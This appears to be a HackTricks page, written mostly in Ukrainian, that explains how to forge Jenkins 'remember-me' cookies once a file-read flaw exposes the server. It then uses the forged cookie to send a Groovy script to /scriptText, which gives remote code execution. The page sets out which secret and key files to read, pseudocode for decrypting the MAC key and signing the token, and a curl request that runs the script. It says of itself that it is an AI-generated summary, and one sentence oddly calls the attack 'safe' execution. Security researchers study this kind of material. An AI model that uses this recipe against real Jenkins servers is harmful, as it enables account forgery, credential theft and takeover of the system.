Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion в Jenkins на RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки я не матиму часу створити підсумок самостійно:

Attack Prerequisites

  • Feature Requirement: "Remember me" має бути увімкнено (налаштування за замовчуванням).
  • Access Levels: Зловмисник потребує загальних/читальних дозволів.
  • Secret Access: Можливість читати як бінарний, так і текстовий вміст з ключових файлів.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • Отримати конфігурацію користувача та секрети з $JENKINS_HOME/users/*.xml для кожного користувача, щоб зібрати:
  • Username
  • User seed
  • Timestamp
  • Password hash

Secret Key Extraction

  • Витягти криптографічні ключі, що використовуються для підписування cookie:
  • Secret Key: $JENKINS_HOME/secret.key
  • Master Key: $JENKINS_HOME/secrets/master.key
  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Calculate Token Expiry Time:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Додає одну годину до поточного часу
  • Concatenate Data for Token:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • Decrypt MAC Key File:
javascript
key = toAes128Key(masterKey)  // Перетворити майстер-ключ у формат ключа AES128
decrypted = AES.decrypt(macFile, key)  // Розшифрувати .mac файл
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • Compute HMAC SHA256:
javascript
mac = HmacSHA256(token, macKey) // Обчислити HMAC, використовуючи токен і MAC-ключ
tokenSignature = bytesToHexString(mac) // Перетворити MAC у шістнадцятковий рядок

Cookie Encoding

  • Generate Final Cookie:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 кодувати дані cookie

Step 3: Code Execution

Session Authentication

  • Fetch CSRF and Session Tokens:
  • Зробити запит до /crumbIssuer/api/json, щоб отримати Jenkins-Crumb.
  • Захопити JSESSIONID з відповіді, який буде використовуватися разом з cookie "remember-me".

Command Execution Request

  • Send a POST Request with Groovy Script:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy скрипт може бути використаний для виконання команд на системному рівні або інших операцій у середовищі Jenkins.

Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks